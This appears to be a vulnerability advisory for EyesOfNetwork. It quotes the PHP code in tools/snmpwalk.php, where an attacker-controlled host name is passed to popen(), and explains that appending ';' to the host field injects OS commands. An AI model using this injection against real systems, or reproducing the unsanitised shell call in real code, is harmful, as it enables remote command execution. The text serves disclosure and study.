# CVE : N/A

#About The Product:

''' EyesOfNetwork ("EON") is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application. 
EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance. 
EyesOfNetwork Supervision provides event management, availability, problems and capacity. 
#Technical Analysis:
EyesOfNetwork allows Remote Command Execution via shell metacharacters in the module/tool_all/ host field.
By looking into tools/snmpwalk.php we will find the vulnerable part of code:
else{
	$command = "snmpwalk -c $snmp_community -v $snmp_version $host_name";
}
in this line we can see as the attacker who control the value of "$host_name" variable .
And after that we have the magic function "popen" in the next part of code.
			$handle = popen($command,'r');
echo 		"<p>";<br />
			while($read = fread($handle,100)){ 
				echo nl2br($read); 
				flush();
			} 
			pclose($handle);			
And now we can see the use of "popen" function that execute the $command's value and if we set a shell metacharacters ";" in the end of the command we will be able to execute OS command.'''
